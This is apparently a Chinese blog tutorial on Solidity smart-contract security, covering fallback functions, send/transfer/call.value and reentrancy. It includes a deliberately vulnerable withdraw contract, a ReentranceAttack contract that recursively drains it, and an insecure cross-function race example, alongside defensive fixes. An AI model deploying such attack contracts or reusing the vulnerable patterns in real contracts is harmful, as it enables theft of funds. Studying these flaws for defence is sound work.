资料及网站
Solidity官方文档 语法及demo
cryptozombies 通过编写游戏学习以太坊dapp编程
openzeppelin 提供标准的安全的经过测试的智能合约代码库
zeppelinos 专为智能合约设计的操作系统,它不仅提供链上可升级的程序编码库,而且还提供保持程序持续升级、修补的奖励机制
https://ethernaut.zeppelin.solutions/ 攻防游戏学习智能合约安全问题
智能合约CTF:Ethernaut Writeup Part 1 教程
Solidity 安全 已知攻击方法和常见防御模式
dapp review dapp应用商店
truffle 智能合约开发工具,简化dapp开发,部署,测试,管理等
remix 智能合约IDE
智能合约可能出现的安全问题
Fallback
函数
合约可以声明一个未命名的函数,这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有找到匹配的函数(或没有提供调用数据),fallback
函数会被执行。此外,每当合约收到以太币(没有任何数据),这个函数就会执行。为了接收以太币,fallback
函数必须标记为 payable
。 如果不存在这样的函数,则合约不能通过常规交易接收以太币。
function() payable public { // payable 关键字,表明调用此函数,可向合约转ETH。
}
仔细权衡send()
、transfer()
、以及call.value()()
向合约转账ETH时,会调用其fallback
函数,需要仔细权衡someAddress.send()
、someAddress.transfer()
、和someAddress.call.value()()
之间的差别。
-
x.transfer(y)
和if (!x.send(y)) throw;
是等价的。send是transfer的底层实现,建议尽可能直接使用transfer。 -
someAddress.send()
和someAddress.transfer()
能保证可重入安全。尽管这些外部智能合约的函数可以被触发执行,但补贴给外部智能合约的2,300 gas,意味着仅仅只够记录一个event到日志中。 -
someAddress.call.value()()
会发送指定数量的ETH并且触发对应代码的执行。被调用的外部智能合约代码享有所有剩余的gas,通过这种方式转账是很容易有可重入漏洞的,非常不安全。
使用send()
或transfer()
可以通过指定gas值来预防可重入,但是这样做可能会导致在和合约调用fallback
函数时出现问题,由于gas可能不足,而合约的fallback
函数执行至少需要2,300 gas消耗。
需要注意的是使用send()
或transfer()
进行转账并不能保证该智能合约本身重入安全,它仅仅只保证了这次转账操作时重入安全的。
可重入性(Reentrancy)
一般可以理解为一个函数在同时多次调用。这个漏洞一种可能出现的情况是:在调用其他函数的操作完成之前,这个被调的函数可能会多次执行。对这个函数不断的调用可能会造成极大的破坏。
可重入攻击
call.value()()
可导致可重入攻击,当向合约转账的时候,会调用fallback
函数,如下:
contract Reentrance {
mapping(address => uint) public balances;
// 充值
function donate(address _to) public payable {
balances[_to] += msg.value;
}
// 提现
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(!msg.sender.call.value(_amount)()) {
throw;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentranceAttack{
Reentrance entrance;
function ReentranceAttack(address _target) public payable {
entrance = Reentrance(_target);
}
function deposit() public payable{
entrance.donate.value(msg.value);
}
function attack() public{
entrance.withdraw(0.5 ether);
}
function() public payable{
entrance.withdraw(0.5 ether);
}
function withdraw() public {
msg.sender.transfer(this.balance);
}
}
攻击过程如图:
攻击者先调用 ReentranceAttack 的deposit()
函数发送 ETH 给 Reentrance 合约。然后再调用attack()
取现,向 Reentrance 请求取现,调用withdraw()
,当系统执行withdraw()
,将向合约 ReentranceAttack 转账,这个时候就会触发 ReentranceAttack 的fallback
函数。而该函数里又调用了withdraw()
,这样就导致了递归调用(如上图,红色箭头形成一个循环),直到 gas 费用被耗尽,或 Reentrance 合约余额小于转出金额,失败退出。
导致以太坊分叉的合约漏洞 DAO 事件,就是这么被攻击的。这里要把balances[msg.sender] -= _amount;
写在转账之前(如果没法完全移除外部调用,一个简单的方法来阻止这个攻击是确保你在完成你所有内部工作之前不要进行外部调用),并使用send()
或transfer()
以指定gas值的使用。
跨函数竞态
攻击者也可以使用两个共享状态变量的不同的函数来进行类似攻击。
// INSECURE
mapping (address => uint) private userBalances;
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; } // At this point, the caller's code is executed, and can call transfer()
userBalances[msg.sender] = 0;
}
在这个例子中,攻击者在他们外部调用withdrawBalance
函数时调用transfer()
,如果这个时候withdrawBalance
还没有执行到userBalances[msg.sender] = 0;
这里,那么他们的余额就没有被清零,那么他们就能够调用transfer()
转走代币尽管他们其实已经收到了代币。这个弱点也可以被用到对DAO的攻击。
要注意在这个例子中所有函数都是在同一个合约内。然而,如果这些合约共享了状态,同样的bug也可以发生在跨合约调用中。由于竞态既可以发生在跨函数调用,也可以发生在跨合约调用,任何只是避免重入的解决办法都是不够的。所以应该首先完成所有内部的工作,然后再执行外部调用。这个规则可以避免竞态发生。而且,你不仅应该避免过早调用外部函数,还应该避免调用那些也调用了外部函数的外部函数。
另一个解决方案是使用互斥锁。
除此之外,还有一些其他安全开发智能合约的建议和已知漏洞,需要通过以上网站等继续深入去学习。
参考文章
https://github.com/ConsenSys/smart-contract-best-practices
https://www.jianshu.com/p/02e29b859e8c
网友评论